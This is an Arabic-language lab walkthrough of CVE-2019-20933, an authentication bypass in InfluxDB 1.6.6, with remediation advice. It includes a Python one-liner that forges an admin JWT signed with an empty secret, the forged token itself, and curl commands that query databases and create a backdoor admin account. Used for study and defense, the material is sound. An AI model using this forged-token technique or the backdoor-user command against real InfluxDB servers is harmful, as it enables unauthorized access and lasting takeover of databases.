
تقرير معملي خطوة بخطوة يوضح تجاوز المصادقة في InfluxDB عبر رموز JWT المزورة (CVE-2019-20933)، بما في ذلك الاستغلال وما بعد الاستغلال وإرشادات المعالجة.
نبدأ بما يعمل في البيئة. نقوم بإدراج جميع الحاويات النشطة:
docker ps

الضحية تعرض منفذًا واحدًا فقط: 8086.
حاليًا، لا تتوفر لدي معلومات مفصلة عن الهدف. من مخرجات docker ps، يظهر أن النظام يعرض خدمة واحدة فقط للخارج على المنفذ 8086، وهي مرتبطة بالخدمة داخل الحاوية. هذا هو سطح الهجوم الأساسي الذي يجب تحليله.
بدلاً من الوصول إليه مباشرة عبر المتصفح، نستمر في تحديد بصمة الخدمة باستخدام Nmap لمعرفة الخدمة التي تعمل على المنفذ 8086:
nmap -sV -sC -p 8086 192.168.3.137

تظهر نتائج الفحص أن المنفذ 8086 هو خدمة HTTP الخاصة بـ InfluxDB OSS 1.6.6. هذه قاعدة بيانات للسلاسل الزمنية (Time-Series Database) معرّضة عبر واجهة برمجة تطبيقات HTTP، وليست تطبيق ويب تقليديًا.
InfluxDB هي قاعدة بيانات سلسلة زمنية (TSDB) مفتوحة المصدر مكتوبة بلغة Go. على عكس قواعد البيانات العلائقية RDBMS (المحسّنة للمعاملات الدقيقة) أو Elasticsearch (المحسّنة للبحث النصي)، أُنشئت InfluxDB لغرض واحد: التعامل مع أحجام كتابة ضخمة (إنتاجية كتابة عالية) والاستعلام عن البيانات على طول المحور الزمني بزمن استجابة منخفض.

بما أنه تم تحديد بصمة الخدمة على أنها InfluxDB، فإن الخطوة التالية هي الرجوع إلى كيفية تواصل InfluxDB مع العملاء. وفقًا لوثائق InfluxDB v1 الخاصة بواجهة برمجة التطبيقات HTTP، فإن المنفذ 8086 هو منفذ واجهة برمجة التطبيقات الافتراضي. تتضمن نقاط النهاية الرئيسية المهمة ما يلي:
/ping: يتحقق من الحالة التشغيلية للخادم./query: يرسل استعلامات InfluxQL لقراءة البيانات الوصفية أو البيانات./write: يكتب بيانات السلاسل الزمنية إلى قاعدة البيانات.⇒ تفكير: بعد أن يحدد Nmap الخدمة على أنها InfluxDB http admin 1.6.6، لا نستمر في اختبارها وكأنها موقع ويب قياسي. بالنسبة لتطبيقات الويب، نبحث عادةً عن المسارات أو نماذج تسجيل الدخول أو الدلائل. ومع ذلك، مع InfluxDB، يكمن سطح الهجوم داخل واجهة برمجة التطبيقات HTTP. لذلك، نحتاج إلى التحول إلى اختبار نقاط نهاية واجهة برمجة التطبيقات القياسية الخاصة بـ InfluxDB لتحديد ما إذا كانت واجهة البرمجة تتطلب مصادقة. وبالتالي، فإن اتجاه الاختبار التالي ليس الوصول إلى / عبر المتصفح، بل إرسال الطلبات مباشرةً إلى نقاط نهاية واجهة برمجة التطبيقات الخاصة بـ InfluxDB.
/pingبعد تحديد المنفذ 8086 على أنه واجهة برمجة تطبيقات InfluxDB HTTP، تحقق من نقطة نهاية /ping للتأكد من أن الخدمة تعمل:
curl -i <http://192.168.3.137:8086/ping>

استجابة 204 No Content تؤكد أن InfluxDB تعمل بشكل طبيعي. كما تؤكد الترويسات أن إصدار الخدمة هو InfluxDB OSS 1.6.6
/querycurl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES"

نقطة نهاية /query لا تسمح بالاستعلامات المباشرة دون بيانات اعتماد المصادقة. هذا يؤكد أن InfluxDB مفعّل لديها المصادقة وتمنع جميع الاستعلامات المجهولة المرسلة إلى النظام.
أنتقل إلى التفكير: هل يحتوي إصدار InfluxDB 1.6.6 على أي ثغرة أمنية تسمح بتجاوز آلية المصادقة؟

بالرجوع إلى قواعد بيانات الثغرات الأمنية العامة، نجد أن إصدارات InfluxDB الأقدم من 1.7.6 تتأثر بثغرة CVE-2019-20933. هذه ثغرة تجاوز مصادقة (Authentication Bypass) داخل دالة المصادقة في InfluxDB، وترتبط بمعالجة رموز JWT بسريّة مشتركة فارغة.
بما أن الهدف يعمل بإصدار InfluxDB 1.6.6، وهو أقل من الإصدار المُصحح 1.7.6، فإن الخدمة تقع ضمن نطاق الإصدارات المتأثرة.
يمكن استنتاج ما يلي:
Service: InfluxDB OSS
Version: 1.6.6
Authentication: Enabled
CVE mapping: CVE-2019-20933
Impact: Authentication Bypass
Status: Version vulnerable
⇒ تفكير: في البداية، تعيد نقطة نهاية /query استجابة 401 Unauthorized، مما يشير إلى أن آلية المصادقة نشطة. ومع ذلك، فإن تفعيل المصادقة لا يعني أمانًا مطلقًا. عندما يتم تحديد بصمة version على أنه 1.6.6، نحتاج إلى ربطه بثغرات CVE المعروفة. تشير النتائج إلى أن هذا الإصدار يقع ضمن النطاق المتأثر بـ CVE-2019-20933، مما يعني أنه من الممكن تجاوز آلية المصادقة التي تحمي نقطة نهاية /query. بناءً على نتائج التحديد هذه، ستركز مرحلة الاستغلال على التحقق من CVE-2019-20933 من خلال توليد رمز JWT مناسب لتجاوز المصادقة وتنفيذ استعلامات على نقطة نهاية /query.
تحدث ثغرة CVE-2019-20933 في دالة authenticate داخل ملف services/httpd/handler.go الخاص بـ InfluxDB في الإصدارات الأقدم من 1.7.6.
يدعم InfluxDB المصادقة باستخدام رموز الويب JSON (JWT) لطلبات واجهة برمجة التطبيقات HTTP. عند استلام طلب يحمل الترويسة:
Authorization: Bearer <token>
سينفذ InfluxDB الخطوات التالية:
shared-secret من ملف influxdb.conf لتكون بمثابة المفتاح السري للتحقق من توقيع الرمز.username من المطالبات (claims) لتحديد المستخدم الذي ينفذ الاستعلام.في الإصدارات المتأثرة، إذا تم تفعيل مصادقة JWT ولكن لم يتم تكوين معامل shared-secret، فقد تتم معالجة القيمة السرية كسلسلة فارغة ("").
يفشل النظام في التحقق بشكل كافٍ من قوة السر الأمنية قبل التحقق من توقيع JWT. وهذا يسمح للمهاجم بإنشاء JWT مخصص، وتوقيعه بسريّة فارغة، ثم تعيين مطالبة username على حساب صالح في النظام، مثل admin إذا كان هذا الحساب موجودًا في المختبر.
عند إرسال هذا الرمز عبر ترويسة Authorization: Bearer <token>، يستخدم InfluxDB نفس السر الفارغ للتحقق من التوقيع. إذا تطابق التوقيع وكان اسم المستخدم موجودًا، فسيتم تفويض الطلب دون الحاجة إلى كلمة مرور المستخدم الفعلية.
يمكن تلخيص تدفق المعالجة على النحو التالي:
تدفق الاستغلال على المستوى المنطقي:
InfluxDB < 1.7.6
→ authentication enabled
→ empty shared-secret
→ attacker creates JWT signed with secret ""
→ sends token via Authorization: Bearer
→ server accepts the token
→ query to /query succeeds
بعد فهم آلية الثغرة CVE، من الضروري ربطها بالهدف لتجنب استخلاص الاستنتاجات بناءً على الإصدار فقط.
في هذه اللحظة، تم تحديد CVE-2019-20933 كمرشح مناسب للغاية للهدف. ومع ذلك، لتأكيد الاستغلال العملي، يجب علينا توليد JWT موقّع بسريّة مشتركة فارغة shared secret وإرساله إلى نقطة نهاية /query.
إذا قبل الخادم هذا الرمز وسمح بتنفيذ الاستعلام، عندها فقط يمكننا أن نستنتج أن الثغرة CVE تم استغلالها بنجاح.
من تحليل آلية الثغرة أعلاه، شروط الاستغلال هي:
username صالحًا في النظام."").Authorization: Bearer <token> إلى نقطة نهاية /query.يتكون JWT من 3 أجزاء مفصولة بنقاط: Header.Payload.Signature
الترويسة
{"alg":"HS256","typ":"JWT"}
الحمولة
{"username":"admin","exp":2147483647}
username: الحساب المستهدف. في هذا المختبر، تنشئ InfluxDB مستخدم admin افتراضيًا.exp: وقت انتهاء صلاحية الرمز، مضبوط على وقت بعيد جدًا في المستقبل (عام 2038) لتجنب الرفض بسبب انتهاء الصلاحية.التوقيع
HMAC-SHA256(key = "", message = Base64URL(Header) + "." + Base64URL(Payload))
على Kali، نقوم بتوليد JWT الكامل بأمر واحد:
python3 -c "
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"python3-c"
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"

نحصل على السلسلة:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw
b64url(): تحوّل قاموس Python إلى سلسلة JSON وترمّزها بتنسيق Base64URL (مع إزالة الحشو = وفقًا لمعيار JWT).hmac.new(b'', ...): يوقّع الرسالة باستخدام خوارزمية HMAC-SHA256 بمفتاح فارغ (b''). هذا هو ناقل الاستغلال — المفتاح الفارغ يطابق shared-secret غير المُهيأ على الخادم.Header.Payload.Signature المتوافقة مع معيار JWT RFC 7519./query للتحقق من الثغرة CVEاحفظ الرمز في متغير بيئة ثم أرسل استعلام SHOW DATABASES:
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw"
curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES" \
-H "Authorization: Bearer $TOKEN"

تحليل النتيجة:
401 Unauthorized إلى 200 OK.⇒ تم تأكيد استغلال CVE-2019-20933 بنجاح على الهدف. من خلال JWT مُصمم يدويًا موقّع بمفتاح فارغ، تجاوزنا آلية المصادقة تمامًا وحصلنا على وصول الاستعلام بصلاحيات admin.
بعد تجاوز المصادقة بنجاح، نواصل ما بعد الاستغلال بشكل أعمق لجمع البيانات الحساسة داخل قواعد البيانات على النظام. من نتائج SHOW DATABASES، يحتوي النظام على قاعدتي بيانات: _internal (قاعدة بيانات المراقبة الداخلية الافتراضية لـ InfluxDB) وsample (قاعدة بيانات الأعمال التشغيلية).
curl -s "http://192.168.3.137:8086/query?q=SHOW+USERS" \
-H "Authorization: Bearer $TOKEN"

يحتوي النظام على مستخدم واحد فقط: admin بصلاحيات إدارية (admin: true). هذا يؤكد أن JWT المزور الذي أنشأناه قد انتحل بنجاح هوية الحساب الإداري الوحيد على النظام.
_internalلا تحتوي قاعدة بيانات sample على أي قياسات (فهي فارغة). ومع ذلك، فإن قاعدة بيانات _internal هي قاعدة بيانات المراقبة الداخلية لـ InfluxDB وتحتوي دائمًا على مقاييس النظام:
curl -s "http://192.168.3.137:8086/query?db=_internal&q=SHOW+MEASUREMENTS" \
-H "Authorization: Bearer $TOKEN"

تحتوي قاعدة بيانات _internal على 12 قياس مراقبة داخلي: cq، database، httpd، queryExecutor، runtime، shard، subscriber، tsm1_cache، tsm1_engine، tsm1_filestore، tsm1_wal، وwrite. تخزن هذه الجداول إحصائيات تشغيلية مفصلة لمثيل InfluxDB — بما في ذلك سجلات استعلامات HTTP، ومقاييس أداء قاعدة البيانات، وحالة محرك التخزين.
لإثبات أن وصول admin الذي تم تجاوزه لا يقتصر على الإجراءات للقراءة فقط بل يمنح أيضًا وصول الكتابة والإدارة، نقوم بإنشاء حساب مستخدم جديد بصلاحيات إدارية كاملة:
curl -s -XPOST "http://192.168.3.137:8086/query?q=CREATE+USER+hacked+WITH+PASSWORD+'Dung'+WITH+ALL+PRIVILEGES" \
-H "Authorization: Bearer $TOKEN"

تعيد الاستجابة statement_id: 0 دون حقل error — مما يؤكد أن أمر CREATE USER تم تنفيذه بنجاح. يمكن للمهاجم الآن تسجيل الدخول مباشرة باستخدام بيانات الاعتماد hacked / Dung بصلاحيات مسؤول كاملة، دون الحاجة إلى رمز JWT المزور بعد الآن.
⇒ يعد هذا أقوى دليل على أن ثغرة CVE-2019-20933 لا تسمح فقط بكشف البيانات، بل تتيح أيضًا للمهاجم السيطرة الكاملة على نظام InfluxDB — بما في ذلك إدارة المستخدمين، وتدمير قواعد البيانات، وتعديل إعدادات النظام.
على عكس ثغرات تنفيذ التعليمات البرمجية عن بُعد (RCE) التي تستهدف طبقة نظام التشغيل مباشرة (كما في Lab 3)، تقيّد CVE-2019-20933 نطاق تأثيرها على إدارة مستوى قاعدة البيانات. ومع ذلك، تظل الخطورة عالية بشكل حرج بسبب:
hacked بصلاحيات إدارية كاملة.للمعالجة الكاملة لهذه الثغرة الأمنية الحرجة، يجب على مسؤولي النظام تنفيذ الإجراءات المضادة التالية على الفور:
فرض تكوين سريّة مشتركة قوية إذا لم تكن الترقية ممكنة فورًا، قم بتحرير ملف الإعداد influxdb.conf لتحديد سريّة مشتركة طويلة ومعقدة وعشوائية ضمن قسم [http]: ملاحظة: أعد تشغيل خدمة InfluxDB بعد تحرير الإعداد حتى تدخل التغييرات حيز التنفيذ.
ini
[http]
enabled = true
auth-enabled = true
shared-secret = "CucKyManhVaNgauNhienKhongTheDoanDuoc12345!"
ترقية مثيل InfluxDB إلى إصدار مُصحح قم بتحديث InfluxDB فورًا إلى الإصدار 1.7.6 أو أعلى. قام المطورون بتعديل روتين المصادقة في هذه الإصدارات لرفض رموز JWT الموقعة بأسرار مشتركة فارغة أو غير آمنة.
8086 للإنترنت العام أبدًا.| الخطوة | المعالجة العادية | الخلل في CVE-2019-20933 |
|---|
| 1 | يرسل العميل Authorization: Bearer <token> | المهاجم ينشئ JWT بنفسه |
| 2 | يقرأ الخادم shared-secret من الإعدادات | shared-secret غير معيّن |
| 3 | يستخدم الخادم السر للتحقق من توقيع JWT | تتم معالجة السر كسلسلة فارغة "" |
| 4 | إذا كان الرمز صالحًا، استرجاع username من المطالبة | المهاجم يعيّن username=admin إذا كان المستخدم موجودًا |
| 5 | يمنح الخادم الصلاحيات بناءً على مستخدم المطالبة | يتم قبول الطلب دون الحاجة إلى كلمة مرور |
| الشرط | نتيجة الهدف | التقييم |
|---|
| الخدمة هي InfluxDB | يحدد Nmap الخدمة على أنها InfluxDB http admin 1.6.6 | متوفر |
| الإصدار ضمن النطاق المتأثر | 1.6.6 < 1.7.6 | متوفر |
| المصادقة مفعّلة | /query يعيد 401 Unauthorized | متوفر |
| هل يتم قبول JWT الموقّع بسريّة مشتركة فارغة؟ | يحتاج إلى تحقق | غير مؤكد |
| هل اسم المستخدم في JWT صالح؟ | يحتاج إلى تحقق/مفترض في المختبر | غير مؤكد |
| المقياس | التقييم | التفاصيل |
|---|
| درجة CVSS | 9.8 (حرجة) | تصنيف شديد الخطورة بسبب سهولة الاستغلال العالية. |
| المصادقة المطلوبة | لا شيء | يتجاوز حاجز المصادقة تمامًا دون بيانات اعتماد صالحة. |
| تعقيد الاستغلال | منخفض | يتطلب فقط توليد JWT مزور بمفتاح سري فارغ وإرساله عبر ترويسة HTTP. |
| الامتياز المكتسب | مسؤول InfluxDB | الحصول على سيطرة كاملة على قاعدة بيانات InfluxDB بصلاحيات إدارية جذرية. |
| التأثير على البيانات | مرتفع | يؤدي إلى كشف جميع المقاييس الحساسة، مع القدرة على تعديل البيانات أو مسحها بالكامل. |